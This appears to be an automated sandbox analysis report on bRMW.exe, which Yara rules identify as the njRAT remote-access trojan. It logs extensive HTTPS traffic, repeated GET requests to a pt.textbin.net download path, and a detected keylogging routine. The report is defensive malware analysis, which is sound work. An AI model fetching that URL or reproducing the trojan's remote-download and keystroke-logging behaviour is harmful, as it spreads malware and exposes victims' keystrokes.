Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: bRMW.exe, 00000000.00000002.4453788161.000000000357B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pt.textbin.net
Source: bRMW.exe, 00000000.00000002.4453788161.00000000033E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: bRMW.exe, 00000000.00000002.4453788161.000000000357B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://textbin.net
Source: bRMW.exe, 00000000.00000002.4453788161.0000000003520000.00000004.00000800.00020000.00000000.sdmp, bRMW.exe, 00000000.00000002.4453788161.000000000357B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pt.textbin.net
Source: bRMW.exe	String found in binary or memory: https://pt.textbin.net/download/rcd5ihynxw

Source: unknown

DNS traffic detected: queries for: pt.textbin.net

Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.net
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.net
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.net
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.net
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.net
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.net
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.net
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.net
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49865 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: bRMW.exe, kl.cs

.Net Code: VKCodeToUnicode

E-Banking Fraud

Yara detected Njrat

Source: Yara match	File source: bRMW.exe, type: SAMPLE
Source: Yara match	File source: 0.0.bRMW.exe.ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1994678627.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bRMW.exe PID: 2748, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: bRMW.exe, type: SAMPLE	Matched rule: Windows_Trojan_Njrat_30f3c220 Author: unknown
Source: bRMW.exe, type: SAMPLE	Matched rule: Detects malware from disclosed CN malware set Author: Florian Roth
Source: bRMW.exe, type: SAMPLE	Matched rule: Detects NjRAT / Bladabindi Author: ditekSHen
Source: 0.0.bRMW.exe.ff0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Njrat_30f3c220 Author: unknown
Source: 0.0.bRMW.exe.ff0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects malware from disclosed CN malware set Author: Florian Roth
Source: 0.0.bRMW.exe.ff0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects NjRAT / Bladabindi Author: ditekSHen
Source: 00000000.00000000.1994678627.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Njrat_30f3c220 Author: unknown

Source: bRMW.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

